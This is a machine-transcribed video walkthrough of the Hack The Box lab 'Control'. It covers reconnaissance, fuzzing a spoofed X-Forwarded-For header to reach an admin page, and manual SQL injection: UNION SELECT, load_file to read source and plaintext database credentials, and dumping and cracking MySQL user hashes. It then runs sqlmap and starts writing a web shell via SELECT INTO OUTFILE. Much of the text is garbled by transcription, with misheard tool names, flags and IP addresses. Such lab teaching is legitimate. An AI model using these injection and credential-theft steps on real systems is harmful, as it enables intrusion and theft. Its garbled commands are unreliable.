OK, so now we're going to move into control right in this box, we're going to you're going to actually
learn step by step everything from sequel injection, how it works manually.
You're going to learn PowerShares seven.
You're going to learn Khamal.
It's going to learn, you know, the details of hacking and weaving it at the very end.
We're going to look at the logs that are created in this attack once we compromised the box.
And we, Poppit, you're going to actually see what would have been logged by a system like Splunk or
ArcSight or Elk and Elk Stack like Kobana.
So it's going to be very, very, very insightful to anyone that's wanting to get independent penetration
testing, red teaming, and you got to learn the entire flow from start to finish.
So this is going to be really fun.
Let's just go ahead and just create the directory.
So let's go and create a directory called Control and then we're going to KDDI into control.
This just means if this side is true, sorry, at the left side is true, then the right side is should
should be operated upon.
So we're just basically joining both of these commands together.
See, now we're in control.
All right.
So we've got nothing in here.
Let's start, Himax.
All right.
So we're going to go ahead and name this tab, control a comma named VPN and then pseudo open VPN.
And we're just basically pointing the config to our VPN file.
All right, so we are connected to the VPN, right, so control AC control, Akama, Rickon, and let's
just do a target and let's just save the IP address as a variable named Target.
And then what we can do is we can do CEDO ping minus C.
I want to count four pings if you leave this off and I'll just ping forever and then target, meaning
we'll put the IP address in place of the variable name.
We just want to make sure the target's active.
Of course the target can be active even if it doesn't respond to Ping, but this is just one good test
you can do.
And of course, if the TTL is less than 128 but greater than 64, it's most likely a Windows box.
So this is a prototype because you can discover the operating system of a target machine just by pinging
it in many cases.
So keep that in mind.
Let's go ahead and run map against it.
Let me explain what's happening here.
So we're running in map with route privileges because then we get more data.
Verbose means that as in map discovers open ports, it will display them.
We won't have to finish.
We won't have to wait until a map finishes before we see the results.
We'll see the results as they're being discovered.
Deshpande means don't bother pinging it.
Just assume see, it's active.
That's T5 is the most aggressive scan.
T3 is usually what we would use in a real engagement because T5, if the box is weak, you might just
knock it over from from inundating it with so many packets.
And but since this is hack the box and it's a live environment, T5 should be OK.
AC means wonderful scripts.
Don't read any scripts that are going to run live.
Exploits against the box again in map is kind of like Nessus and or like a typical vulnerability scanner.
There's scripts that can run checks and in some cases attacks on the target.
So you want to make sure that you don't run any target.
You don't want any scripts that can potentially knock the box offline or cause it to reboot.
And then the dash s..
Sorry, Dash, as in the movie means do the version checks.
So what I did was actually just concatenated two different flags together in one flag.
And this is really cool because Intermap has the ability to identify a service that's running on a non-standard
port.
Right.
So if you have, for example, FTP running on Port 25, you know, it might be smart enough to know
that you're not running SMTP because it runs a series of checks against that port to do everything it
can to ascertain what service really resides in that port.
And it's kind of detailed how it does it, but it really does do it.
I've done some testing here and it's really amazing how in that works.
That's Dashon.
I mean, do you want the config file to be you want the output to be stored in the in map file, which
is just a file that saves the output.
This DP zero six five five thirty five means you want to scan all ports from Port zero to six five five
three five.
A lot of times people will put in dash p dash like this and that scans ports one to six five five three
five, but it misses Port zero.
So putting in that, this full port range gets port zero as well because sometimes it will show up.
So that's another tip that you can use that finally you want the reason to be displayed if the ports
blocked and then finally the target, which is a variable for the IP address.
Here we go.
We're off to the races, and while MAP is scanning, you can always press the space bar key to get an
update about its progress.
All right.
So as it scans, let's just go to investigate because we can see that RPK is listening.
This is this is my school and this is port eighty six point eighty typically has the broadest attack
surface.
We should start with the Web and I'm not even sure what this port is.
So we'll create a new pain control, a sea control comma discovery.
And let's just open up a browser.
And as open up as well, so we can passively spirt the host as we poke around the page.
So I'm going to go ahead and select berp from here.
All right, sweet.
So let's look at the options, control ship options, and I just want to make sure that the survey responses
are also intercepted.
Let's go back to intercept and let's take intercept off, it's just just going to filter all the traffic
through berp so I can build out this target tab.
You can build out a site map while we browse.
The page is loaded and we can just, you know, scroll through it of the titles Fidelity, I don't know
what that means.
You know, it says the future has landed.
Who knows what that means?
You know, we could try putting SQL injection testing into a sequel injection by putting a single tick
back.
Just takes it to the top of the page.
You can actually tell that by this anchor tag.
I mean, all these links down here look like they don't really go anywhere.
We don't have a copyright date.
Sometimes you can find if there's a copyright date down here that's like, you know, in the past,
then you can search for exploits against us.
But we could see, you know, just running WordPress or something similar.
There's also an admin page and a login portal.
So we press control you.
We get the source control F lets you search for like KRED or Key or pass or salt.
We look for comments.
So right away we see this comment here.
Looks like the developer left it to do list inside of the source code that basically says, you know,
we need to import products and we need to link to a new payment system.
And it gives us an internal IP, which is interesting.
Right.
So this would be a finding, right.
So what we actually would do is we do control I think it's control print screen or is it control shift
print screen.
Yeah, control just print screen.
And then you would grab this and put it in a report to the client.
But yeah, so that's really interesting.
We could keep looking for other comments, we could also look for like JavaScript.
And we can go through all of these if we wanted to, but let's look at berp found.
So we've already got some stuff, here is a site map.
And.
You can see there's some JavaScript files, there's some success, and there's a bunch of other things.
So what I like to do is I like to write, click and see at a scope and then click inside of here and
say so only in scope items.
That way, if I'm browsing Google or Facebook or whatever else I'm browsing, that's not going to filter
into the sitemap.
I'm only going to see what's relevant to this particular target.
In addition, if you look in the bottom right here, you can see that this is powered by seven 737 and
it looks like it's running is ten.
Now, I ten can either be Windows 10, windows twenty sixteen or windows twenty nineteen, we don't
know.
But it's running on windows, which is interesting because most Windows applications are running.
You would expect, you know, something other than one of the things that's really interesting about
this target already.
I can tell you is that it's running MySQL.
So if we go back here, let's go back to EMAP until one.
But it's running MySQL, not Microsoft SQL Server.
So this is an interesting stack, security stack and interesting configuration.
And we're probably going to find some interesting things through this engagement.
So let's go back to the page.
Let's just go to Admon.
And it gives us an interesting messages, has access denied, heter missing, please ensure you go through
the proxy to access this page.
So it's almost it's almost appears that this Web application is implementing access control via a custom
HTTP header, which currently isn't present.
And therefore, I wasn't granted access to this admin page.
So if we knew what that header combination was, we might be able to gain access to this.
Now, before we figure this out.
Let's go ahead and have something running in the background.
So we've already got a map running in the background and still running.
I can put spacebar to check on it looks like it's almost 60 percent done, but we can run some discovery.
So control data, let's run our search.
Control a shift that will, quote, control a hold down control press down and then in its bottom pane
we can type a pseudo opt the research.
I'm going to explain everything that happens here.
So we're starting with the research where I get the research.
I just Googled.
Right, so you can go to Google.
And first thing, we take off berp.
Their search, GitHub.
This right here, right?
And then you can just go get carbon copy, and then all I did was I just went into the op directory
and then ran Git Clone.
So literally all I did was I went here and went opt for that pseudo git clone and then put in that the
GitHub repository path and dot to basically save it there.
When you do that, you have it control you, you to delete it.
And let's go back up and get the help for control a lot bracket page up, page up and down a little
bit.
So now we can investigate what we can do with this awesome tool.
So what we're doing first is we want a new URL, right, the target.
So technically, what we could do here is we could control, control, control, control left.
I can just put in SCDP target.
Actually, that won't work because the variable is session specific.
And so if I go up here, plus page down, page down, I say echo.
I go target.
Nothing happens, right?
That's because it was saved in the previous pain, this one.
Which now heightmap is finished?
Why do I go here, Target, you'll see it.
So what we could do is we could just go down here, we could save it, but we don't need to just put
in the address.
So we're saying scan this target
dap dap at all, yeah, that's any word capital E means that we want to do a search for common extension's
right, use a predefined list of common extensions.
We know there's but there may be others.
Technically, we could just do a dash e-space.
But we're just going to include some common extensions so we can have a little bit more of a verbose
of a scan of 50 threads.
You know, I usually start with 50.
Sometimes if you put too many threats against a vulnerable Web server or a Web server that's under-resourced,
it could just crash or reboot.
That's not what you want.
So we'll just keep the thread, the thread count relatively low.
And then the other thing I'd like to do is I'd like to put random user agents in the scanner, you know,
sometimes if, you know, the target is running some kind of Web application firewall or something similar,
if you see the scan coming from a non browser, in other words, the user agent doing shows door search
and it might just block that.
It might just block the scan activity, the recon activity.
So here we're just can use a bunch of random user agents as it's scanning.
And then we're going to output the report to this file called Dirceu to e-mail.
And then we're just going to use this word list.
Which is a common word that's that's included with Callie.
Hopefully that makes sense.
So I'm just going to go ahead and make sure I'm in the bottom pained by person, control a down arrow
and the prosecutor entering the password.
And let's go to go up.
Going to exit the top.
All right.
So now we've got some recon going on in the background and Intermap is finished.
Finished.
If we do cat control that map, we should see the file.
So already we can see a couple of things, right.
One point eighty where we knew that was running Microsoft.
I yes.
And here's some scripts that ran it determine that these methods are supported.
This is nothing big.
I see this a lot.
And it's just showing that, you know, these are the methods that are supported.
Trece can particularly can can potentially be a vulnerability.
But it isn't in this case.
And this is just the again, the server name Fidelity is the title of the webpage which we saw when
we went back to this page here, CNN Tabar and 135.
This is Microsoft Windows RPC Remote Procedure Call.
This is a legacy point that's usually open and all Windows boxes, very small attacks.
Service three, three or six is my sequel.
And you can see here it actually tried to connect, but it wasn't allowed to connect.
For example, if I do this MySQL.
And I do h and I put ten, ten, ten, one sixty, 167.
Look at that.
See, the error message I got is not allowed to connect to this Moradi server already, by the way,
is another name for my school.
You can see that same error message up here.
So it literally just tried to do what we did and it got the same message back then.
We have a few high level ports and that's really it.
OK, and if you go back to discover, you can see this is still running.
So let's go back to the Web page and look at this custom header and then maybe we can Google some custom
matters.
Right?
So we got to Google.
What type?
What should we Google?
Well, we can say like header proxy, maybe HTP header proxy.
Let's try that HDB header proxy.
Click the first link.
And see what we've got, that's just type everything for oops.
That's what I did there.
Control F, I'm going to search for proxy and just go down the list to find something proxy's.
Yeah.
Here we go.
So here's some headers that we can add to a word list in.
The idea here is I want to try to fuzz these fields to see if I can find a header that will grab me
access to this admin portal.
So control AC, control a comma for us, and we'll create new file pseudo vim headers that text.
I control be.
Interesting control, Murphy, there we go, escape to go to the top to delete down our tweet line down
Arrow did delete line down Arrow did like delete line and so on.
Netscape is easy to see the file cat headers just to make sure it's there and it is now we're going
to use us to find some fields here.
So again, I'd like to split the panes, control a shift, double quote, control a hold down control
while I press the down arrow.
I like to use the bottom pane to build out my command of the top pane to look at the help file.
I find this very useful in running these tools.
All right, so what are we doing here?
I just pressed the right ariki to autocomplete this.
So let me let me explain what's happening here.
First, we have Dachsie to see if colors I like colors for both, that's what the Dash V is.
OK, Dashti, again, you probably can guess this.
What do you think Dashty stands for?
He said the Reds are awesome number of current Connexions tennis default.
We're doing 50.
Then we need a wordlist.
Actually, we need the euro, so I've got the URL here as well right here, and we're fuzzing specifically
this this endpoint, this admin file, the admin, that endpoint, because that's where we saw that
message control because that's that's what we saw this.
And what else do we need?
We need the header to dash H.
If you look in the help, you'll see that the header looks like it's this format so we can put fuzz
anywhere.
We want to replace a name with something from our word list.
Right.
So I want to fuzz this value so we can go back down here, we can type files and we'll just put one
seven zero zero one and you'll see what's happening in a moment.
Watch what happens when I present control azy.
So you can see here we're actually getting a ton of response for everything.
What's going on?
We need to probably filter this through a proxy so we can investigate.
Control elite bracket slash proxy.
And if we do drop, we could put a proxy in this format and view it if you go to berp control SFP.
You can see we're listening on localhost eighty stewardship 127 seven zero zero one, that's the Ippy.
Then we have a port 80, 80, and then we have eight type.
SCDP, right, go back to birth control Sharpey Intercept to make sure this is on.
And then Prusiner.
All right, so you notice you could see here's us and here's the header.
That came from our headers file, right?
Was the first one on the list.
Do you control a shift that will, quote, cut headers that text control easy to make it big?
Looks like forwarded was not the first one on the list exploded host.
So it's doing this one right now.
And we look forward doing X voted for.
And then we go forward again and stepping forward it so I'm guessing the next one's going to be the.
OK, well, it's not, but it is another header inside of our list, Explorative Proteau.
And this is probably the media, so it looks like it's random randomly selecting it, but the point
here is that it's getting it's working.
I mean, the thing, the requestion, but we're getting 200 for everything.
I'm not seeing the response for some reason.
I am seeing the response.
It is a response.
OK, so let's go back over here and let's think about this.
Let's see.
Let's take off this proxy bit.
And let's also fuzz the IP address.
So we could put in well, let's just put it in the IP address of the server, 10, 10, 10, one 67.
Same problem to hundreds control, easy to get back out of control.
Up, up, up, up, up, up, up, up, up, up, up.
So if we go back to the source code and its Web app, lets go back control you.
You'll see it has its IP, this IP in the 191 64 network.
So we probably want to do is we want to iterate we could use this IP here as the IP in the header or
we could create a Python script or battlegroup or something and just sort of print out all the hosts
in it before that zero subnet and see if we can just test all those against all the combinations of
HTP request headers and see which one gives us a different result than what we're seeing in us.
Right.
So let me show you what I mean.
So first, let's see if we can use Python to do this.
Kronish a new tab control AC comma dev code def Python three.
So if we say like.
Let's see from that ADR import IP network and we can say for IP in IP network.
Ninety one six eight zero four zero 24.
Colin Tabb, print IP before we press enter, just let you know we're importing this IP network module
from this particular library and they were saying every time you loop, we're going to create a loop
and we're going to loop through the each host and then we're 90, 160, 4.0 network.
So this is a 24 bit math.
So it's actually 28, 255, 255 that 255 zero.
Right.
Is going to go 190, 168 for that one.
It's going to point that out.
That's going to be the IP the first time through second time through.
It's going to be 192 168 for that too.
Right.
Print that out.
And so on and so forth until you get to 255.
So if this works and it does, we have what we need.
So let's go ahead and create a script.
Before we do that, we want to make sure we use the right version of Python.
The location.
You'll see why I'm doing this in a second.
Zero them let's call it eyepiece that texte.
Oh, I'm sorry, what am I doing?
It's not what we're doing here.
We're doing what we're doing here.
We're creating a pseudo IP that wipes out PI.
IP ipy.
All right, so I'm going to do a shabangu at the top controls of the and that just tells the bombshell
that what we're executing is a Python script.
So we can say from that ADR import IP network.
For IP in IP Network 160 zero DOT 4.0, sorry, Colen, and then we could just do print IP.
Escape easy, soroche mod plus X, make it executable and everything else minus LHR on IPIS, we should
see that it is now executable by everyone, right?
Anyone can run it.
Anyone in the group can run it and root himself can run it.
So if we just did like let's see we did this, it runs right.
So let's scrap this whole thing.
Space page by page by page by page by page by page by page up.
Page down.
Right.
Let's go right here.
And we're going to press.
Enter Cyro, them IPPs that I control a right bracket, escape Schifrin's, cat IPPs, that text to
make sure it's their.
IP, that text is there this week, so we can now go back to the first tab and continue to build our
query.
Now we're going to do in addition to the headers, remember what we're doing shift.
Percent if you Dukat headers.
Right out to complete, we're now going to also do.
These types, right, so let's close this out, we can say a second wordlist.
And we're going to put in piece that
instead of having this 10, 10, 10, 167 static IP, we're going to do a second one for Fuzz to see.
How did I know to do that?
Because if I do, if I go up here, control a lit bracket, page by page, a page up, you'll see this
fuzz into in is a variable for a number.
Wherever you put these keyword will replace them with the values of the specified payload.
So we're putting these keywords here.
So the first word list goes in its place and the second word list for IP will go in this place.
Right.
Makes sense.
The presenter.
And that looks a lot better, but it's still a lot of data, so it probably won't filter out anything
that's 89 characters.
Let's go up let's look down here to see how to do that.
And it looks like if we do a dash tech attack, H.H. and then a number for the number of characters,
it will filter those out.
OK, let's go back here and we do a technical H.H. Eighty-Nine.
That looks a lot better now we see there's one particular header and IP combination that gets us a different
response.
Still 200 code.
We're getting 466 words back or almost 8000 characters back.
Those copy this and let's put this in the burb and see if we can figure out what is going on.
It was called that out, let's close this out and let's make sure we are putting the traffic through
berp and let's see, let's go to Berp.
Choppers intercept is on its go to admin.
We grabbed it and let's go and put this new field in here.
Have you noticed this is this eight is way out here, so I'm going to drag it back in.
And I'm going to change this single dash to a colon and then I'm going to hit this little new line button
so that we can see that each header has appropriate ending at the end.
Again, as a new line character for Windows, which is what we want.
All right, so that looks good.
Let's go ahead and forward it.
We've got a response back and so far it looks good.
Let's go ahead and turn intercept off and see if it forwards us through.
Yes.
To the back end.
And this is really cool.
You see products.
We see a way to create products.
We see categories, you know, again, we can control.
You look at the source code here, look at any anything that looks interesting to us, any comments,
you know, any scripts and some hidden fields here.
Right.
Sometimes you can find credentials and things like that in hidden fields.
But we're going to notice if we try to do anything like, for example, test for a single injection
with a single tick.
Was going to say the head was missing.
How do you think we can fix this?
Think about it for a moment.
What we want to do, all the traffic is going to burp.
So, you know, if we can rewrite each request to include that header, we might be able to get around
it.
So we've got two options.
Go down to match, replace.
And we're going to go to add, and this is what it says, type requested her match Reddick's condition
to match lifelink to add.
And you better get because we want to do we want to add new header.
So we will leave this field blank and the little string to replace we've blank to remove a matched header.
Nope.
We want a real string to add.
So we're going to just copy and paste it in.
I'm going to clean this up.
And then I'm going to say for of the copy that to the clipboard in case I need it later I'm going to
say and then Portale bypass the custom HDB header.
OK, let's call them here and if he had selected.
All right, so now the requests are being rewritten, and if we go back to the Web page, we should
see.
The page loads just fine.
Let's see back.
Yep, so everything's working right, and we also see a sequel injection, this is Arabised sequel injection.
Clearly it's saying you have an error and a sequel, Syntex.
So let's play with this.
We're going to do some manual sequel injection, and I'm going to show you something really, really
cool here.
You're finally going to understand this.
If you've always wondered how a sequel injection works, now you'll know.
Let's go back to Berp and let's look at our history.
Let's go down to the bottom.
Let's see, do we have this request?
As we do so, still control our control shift our descended to repeater and then us to control space
to send it through.
What I'm going to do is I'm first can look at the error message in saying that the header is missing.
So for some reason, it didn't actually add the header the requested are here, so let's go and add
that and try to send it again.
Patrol space again, and now it went through and we should see this error right to make it automatically
scroll to that part of the response by typing error in matches.
And if I go to settings, I can actually say Orosco a match when changes.
Right.
So now I can change this to a single take, which is percent 27.
And you see that, right?
If I change it to a P, which is a valid product name, you don't get an error message.
Sweet, sweet.
And how did I know to use P.
Well if we go back here, let's go back.
C.p is a park name, we could have used any of these products, but I use P because it's the easiest
to type.
So let's experiment.
We've got SQL injection here, how can we how can we really test this?
What can we do with this?
Well, the first thing I'd like to do whenever I have single injection is I want to I need to determine
how many columns we have in the database.
Right.
That's really important for a lot of attacks that we're going to do.
So let's go ahead and start by ordering.
Now, actually, what I'm to do first is I'm going to go to three schools and show you how this works.
So forget the injection.
This is just regular school, right?
So it was all set in ascending or descending order.
So we have a database customer's table and we do an order by this.
Look what happens.
Try for itself.
Right.
Click one sequence.
You can see it's ordering by the country right here and we look, these are different.
Collinge Right?
One, two, three, four, five, six, seven.
So one way to identify column is through its index, which is the number of the column.
So if I say order by seven, I should get the same result.
Same thing they ordered by 6:00.
They should order by the postal code.
It does right now, if I say order by 10, I should get an error message because I don't have 10 columns.
So do you see how this was?
This is actually a pretty good way to identify how many columns you have in the database.
So let's go back to Berp, see if we can do that or by I say you might say, oh, let's just do this.
Right.
It's not gonna quite work because our syntax is not correct.
We need to do is we are injecting into a string somewhere.
So we're injecting right here into some query that we don't yet have access to.
And there's probably some stuff that comes after this.
Somewhere, so we need to comment that out in the way they do that, and my school is doing that using
attack, attack, attack.
Right.
That's how you can actually comment stuff out.
And here you see it actually completed now because now it's saying Collinet found a known column 10,
but what if I changed it to five?
Control shift and to make it automatically zoom down.
Let's see here what we don't get the error message, so that's good.
So that means there's probably definitely five columns listed.
Six.
Control.
Control space.
And not seeing that either 67 control space error message, a number of them seven.
So we know there's six columns.
Now that we know the six columns, we can use a union injection to append one query into the next.
So.
So unions love this.
Three schools.
Let's look at union.
If I go to C Union.
Union, union.
Here we go.
You can actually join to ResultSet into one ResultSet.
Right.
So let's see here.
So we've got this customer table and we've got the suppliers table and we do a union, it'll join them.
Let me show you try yourself.
So first, let's just take this out so you can see what it looks like.
Without any fancy school going on that just selects all the cities from customers, right.
Jose?
And if we change this to suppliers, take us out.
Forensic suppliers.
The city from the suppliers is the Collimore selecting, so do controls the controls.
Now, if we do both and attach it with a union.
We will actually get both results that's returned in a single.
Which is what we're seeing here, in order for this to work, the number of columns has to match between
both union, between both iSelect statements on both sides of the union and the data type has to match
as well.
Another good explanation for this is sports figures, website, sports wigger, sexual union.
This used to really confuse me, but this stuff really makes a lot of sense, if you think about it.
To determine the number of columns see first we're ordering by the index of the column, we keep incrementing
until we get an error message and we're just commenting out everything that follows it.
There's another way to do it this way.
I use the autobio because it's less likely to be caught by detection tools like Web application firewalls
and things like that.
And then once you find out how many columns you are you have, you want to see what the data is.
So here we're just searching through each column type until we find what we're trying to see.
If we have, we can insert a string.
In each of these columns, because that's how we're going to use other injection point to go back here.
Let's just do this right, union, select one, two, three, four, five, six, control shift, we
shouldn't get an error message or anything, right?
So far, everything's good.
So let's go ahead and put in this first field.
Let's just put a user called a user function and see what happens.
We got a user, so let's scroll down to this every time what I'm going to do is I'm going to search
for TD to.
TD to TD, What I'm doing is an e-mail, I'm telling it to match on this particular string.
So every time we do our as we're building our sequel injection query, we can immediately see the results
without having to scroll down the response.
All right.
So that's a user.
We see that this database is running as the manager and local host can probably look at the database
to.
Yeah, where the warehouse database, let's see what else we can do, we can probably look at the version.
Yep, indeed.
Now, the next thing I want to do is fill some files, right, because we have this injection point.
And, you know, we can use this to see what files we can grab so we know this is a Windows server and
let's see if we can pull something out of here.
Let's do a load file.
Tick, tick.
And this is a Windows box, so it's probably going to be in the C drive.
I'm just I'm just guessing where it's going to be.
Let's see, Einat pub, maybe W-W route.
Let's just try and P right now we have two thousand two hundred fifty five bytes control space.
That number changed.
So it's possible that the behavior of this page changed in some way.
But I don't see a file, right?
I don't see anything expelled.
We could try converting this to be 64.
To base 60 for.
Control space and are now getting an error message and it says function warehouse to base64 does not
exist, so this function doesn't exist.
Maybe I did this wrong.
Maybe it's to underscore base64 control space.
Yes.
Now we've got this value that we can decode.
I understand what happened here, so I'm going to go and copy this.
We are loading this file from the local file system of the victim machine.
This happens to be the default webroot for IRS and then we're passing it to base64 so that we can exploit
the data.
We can then go to DeCota control of the paste and then we can say decode as base64.
And now we've got this file.
There is a way to do this and to redo this.
It's just to put it in.
So let's go here, Cyro, then let's do indexed speed up, be 64.
I control the escape, it's easy, Kat, it's there so that we can do zero, the 64.
Index.
See how we got here?
Anything interesting?
Well, this is the source code that we saw, right?
So nothing really different than what we've already seen, but remember, there was an admin copyright.
Let's try to grab that file.
Let's go back to our Peter.
Change this to.
Controlled space, yeah.
Now we're cooking with gas.
Let's grab this.
Right, quick copy of Tab zero, then admin tab 64.
And let's see, I control we shapeshifters zero 64.
Let's do I may not be 60 for.
All right, let's actually look at that.
We can't.
Let's see, hold on, because I want to look at it in them, because it all has a syntax highlighting
and things like that.
So let's see here, first of all.
My OCD is getting mad because these formats don't follow.
So let me go and change that pseudo move and then to be 64.
OK, and then what we can do is zero base64.
Dashti, and then we will output that to admin top HP.
OK, so permission denied.
Let's do this as root.
Zero Dashi CD.
CD, home pentameter.
Control, and then we can do Base64 Dashty and now put that to them and.
Now it's there, and if we exit that and go back to a protester account, we should now be able to look
at this in them.
So let's go up here, exit.
And let's take a look at what's going on here.
Oops.
Here we go.
Let's go to the top.
Something that right here looks like a clipped off the top of this, and so let's try it again.
Chef Colin Cubing.
Here we go.
All right, so it's saying this is this IPE 190, 160 for that 28.
Is it is it a ray?
It's a single value of this array.
And we're going to start restoring the variable named aloud.
And then it's saying if the X voted for heter is not set, then take the remote address the network
at the address that's connecting to the server and stored in this this server.
Array called these TDP Orjan.
So that's just some housekeeping there, but this is the real bread and butter, this part right here
is saying if allowed.
He's in this array, so if the IP these are connecting from is in this exploded for header that's being
sent in, then.
If this information is true, you notice there's nothing here, so we should just skip over the ELTs
and go directly to loading the admin page.
Otherwise, the header isn't there.
And so we get the same message which we've seen already.
Right.
You've already seen this.
So let's go ahead and scroll down this page and see if there's anything else that's interesting here.
This is the actual sequel injection point, so you can see it's a select start from products, order
by name, extending limit five.
So we are injecting in this name parameter right here.
And when we put that single tick.
That single ticket is closing out this single tick.
And then we put the P and Tic-Tac that attack, that part comments out this entire section right here.
It's hard for me to highlight this, but.
If I can go back to berp, let's see, yeah, so this PAETEC, that PAETEC there.
Is here in the tech, they're closes up this here.
And then going back to this injection point.
This dashed space dash comments out everything else out here, a sea space limit, space five, right?
And then we're just putting all this data in in its place.
This is all going.
In this name field, so there's no prioritization, is no sanitisation, is literally just passing this
raw name, which is unsanitized, it's very unsafe.
It's being passed into this product array.
And that is being essentially it's printing out the raw values of this array into these the source code
of the Web application.
So this is why the sequel injection works.
Later, we're actually going to look at the logs.
I'm going to show you what it looks like.
You're going to be surprised because you're not going to see it.
I'll tell you what I mean a moment.
So that's interesting.
But we also noticed there's a database that file here.
So we should try to get that because database files usually have credentials.
So let's go ahead and exit this.
So let's update this to database control space.
We've got some more goodness got that on the clipboard and let's take a look at it.
Scape shivs easy and they will do the 64.
Decode.
It wasn't allowed to databased BHP.
Collins said, no.
I just like having the numbers there so that the database name got the username and we've got clear
tax credits, very, very nice.
So we should add this to our list.
So control a shift percent of them.
Let's call Cretz that text.
I was put in this manager.
And we see the password here.
See?
Having some problems like this, if I press, why, why control a great escape?
Capital P didn't do what I wanted you to undo, I had to type it in.
Why is Young supposed to copy it to the clipboard and then capital P supposed to paste it and then I
like to put where we found it, so.
Discovered.
Let's put it on above it.
Discovered the sequel injection data exfiltration SQL Injection.
Chained to local fowl include.
Data leading to data excel to data exfiltration.
Cat creds, nice.
All right, so it's this you've got some creds cooking with gas.
So let's see what else we can do here.
Let's take a look at the my sequel's camera two w w o Google my school information schema.
Sweet.
So there should be a schemata.
Let's getting out of table.
Yes, this is our table provides information about databases, name of the schema.
See, what do we want to get out of here?
You probably want the name of the schema, right?
So we can say select, let's first redo this query.
It was changed up, actually, what we can do.
That's what's rename this double click in here, we call this sequel to Elfy, let's rebuild this query,
take out a load file and then I'll take out to base.
Let's go back here.
Information, schemas, schemata.
Select.
What are we selecting schema name?
So this is the column select schema name.
Schema name from information schema that is Gimbert control space to see think that works.
Let's see if we've got some kind of syntax error here, schemin name from inflammations keema that's
give out, let's just copy and paste.
I find that sometimes works better.
Joseph.
V..
As part of this.
Joe, the.
And we'll just put a dot.
And we're still seeing Erin Siecle Syntex.
Let's see, I could try putting this like this.
Nope, that just makes it a literal string.
So bring these in parentheses, Charles Space.
Let's try another select.
Here we go.
So you notice I had to put this this one used to be this, right?
And if I press control the.
Price controls, you'll see, what I did is I put the whole thing in parentheses.
And then I just ran a sub select statement inside of the parentheses.
When I did that.
I get an error message about cardinality now before we go deeper.
I just realized I forgot to do something and we'll address this area in a second.
What I want to do is I want to copy this.
Control copy.
And when I go all the way back to FDR, did it feel like this is a control space?
Then I want to go to number two.
Control the control space.
Schemata, so now we have these different tabs for each different thing, right, siecle Ayad Allawi
and then schemata right there.
It just makes it a lot easier to stay organized when you have these types specified by purpose and repeater.
And then let's put this era back in.
And make sure it's still set to Orosco to match.
All right, so it's cardinality, but this basically is saying is that we were turning more than one
in a row.
So we need to concatenate the results into one row if we go here.
It's a group concat.
I get functions.
Group concat, this function returns a string result, the concatenated Nonno values from a group,
that's what we want to do.
We want to run this.
This group concat on a single column.
So if we go.
Let's see.
Concat.
Space.
Now, we've got everything here, but it's still a little difficult to read because of these these commas
are putting on the one line I would like to separate by a new line.
So we go back here and you can see that there is a separator, which you can add here, right just at
the end of the group, concat inside the parentheses.
So let's go ahead and do that.
We can say, sir.
Braider.
Let's try a new line.
Joseph.
And that worked.
All right, so now we've got everything on its line and we see there's a MySQL database, so let's try
to connect to that because.
In my school database should have a user called.
Yeah, see, there's a user and there's a password column inside of this table so we can use SQL injection.
We should be able to use the injection to get these two columns, these two fields out of this table,
user and password.
So let's say.
I see what we can do here.
So instead of selecting the scheme a name, we want to do a user name and password, so user password
from.
My school, that user.
Right at the table, bicycled out user.
Control space, syntax error.
And see what we did wrong.
Probably the comma here.
That was it.
So now we can see the hashes of all these accounts, so I bet if we search this hash.
We'll see that it matches the hash we've already captured for the manager, which is in Kretz, right.
Yes, so if we first what we can do is we can do pseudo.
Hash ID should be just to make sure that this is a sha one hash, and it is so if we've got a hash killer.
Hash kill that I know we can pop it in and see if it's been cracked before.
So hash cracker shot one.
Control the pace to submit.
Yes, let me in, you see it right, let's go to search again.
Let's go back to berp and if we grab this one.
We can see if this has been cracked.
Control pays to submit.
And it has never got more Cretz.
Tidy this up a bit, and the user name is Hector, and we got this.
Discovered via schoolie from my school, that user table.
Now, one thing you could do as one single map on this tour, so you can see.
You know what this would do, so if we do, because I want you to see the manual method now, we can
also see the the automated method control a shift to a hotel control.
We can actually save everything in a file, so if we go back to here.
We can grab this right quick.
Copy.
Now, by the way, we could say right, click copy to file, but if I do it this way.
It's probably not going to work because burping is not running.
Oh, it did work.
I surprised.
Let's go here and let's see if we have it now, Kat wrecked that school.
Where did the save that file?
Very quick.
Copy 2000, wreck that sequel.
I save.
It's not here, so that's OK.
See them direct sequel.
We'll make it easy, I.
Control should be what we will do here is we will clean up this input here because a injection via a
school map, they don't want the request to have the attack string present.
So I just removed everything.
Up to this, and I'm going to say escape shift can request a sequel.
Looks good.
Now, when I was in school math.
Should be better.
If we go up here, control page up, we can see a couple of things here, right?
So we obviously want to.
Do Bache never ask user input, user default behavior?
I'm actually not seeing everything here, so we could.
I think if we.
Do a tech help like this, it gives us more verbose help.
Oh, sure, advanced help.
H h.
Yeah, this is super advanced here, so we want to do a request, file a request from a file.
They want to do Bache and.
We could specify user agents string's, I'm actually not going to use random agents because I want you
guys to see in the logs come later when we were compromised.
So I don't want you to see what it look like.
And what else do we want to do?
So we can set the level, the default is one we want to set this to five.
And we want to set the risk to three, of course, this is a real engagement, we wouldn't put the highest
risk and level because you might again fly in the box, but because it's hack the box and it's a virtual
machine in a safe environment.
It's OK to do that here.
And then why do we want to deal with on a.
Take a look at what we can do, let's just dump everything.
All right, so that's running.
That is absolutely amazing.
You see, it's grabbing everything from this database.
It's basically doing an automated basically it's automating what we did manually.
It already cracked one of the passwords which you already knew was cool to see that it grabbed it.
See, it's storing everything in the CSP file here, so we're going to take a look at that once it finishes.
All right, so let's grab this let's actually just go to this folder.
Of course we can't, so we need to first turn into root.
I've gone to my school.
See a bunch of things, including user NSV.
So we could open this if we do.
Were office.
And yet everything looks good here, let's just go and open it.
OK, and you can see pretty much what we saw through the manual methods, right?
We've got that password's.
We've got the usernames.
These are the hashes, but, you know, we crack these hatches and we found out what we needed and you
can see this one is cracked here.
Looks like single map wasn't able to crack Hector.
But we did crack it by going to house killer and finding it that way, so, you know, there's always
some value in using automated tools, but now at least you know how it works.
You can actually see if we should go up in his output.
You can see a couple of the tables that are discovered.
Right.
Some of the tables.
So that is kind of interesting.
Yeah, so there we go.
Now, what can we do?
Well, let's see if we can write a file.
Let's see if we can write a show.
So let's duplicate this.
I wish there was a way to keep tabs.
So might have to copy this here.
And we'll name this tab or shall upload.
So Target could put the IPN, put any.
On anice Web show.
OK, what else do we need?
Let's grab this control, see jewelry and then control space just to make sure we're still getting what
we want.
They're all right and I'm going to put my search so we get to where we want to go.
Chorus girl, sweet.
So how can we write a song?
Well, there's a couple of ways we can load it.
We can dump into that is a MySQL command into a dump file.
Here it is.
Yeah, so if you do select into outpoll, this is a common way of riding into my radio or my school
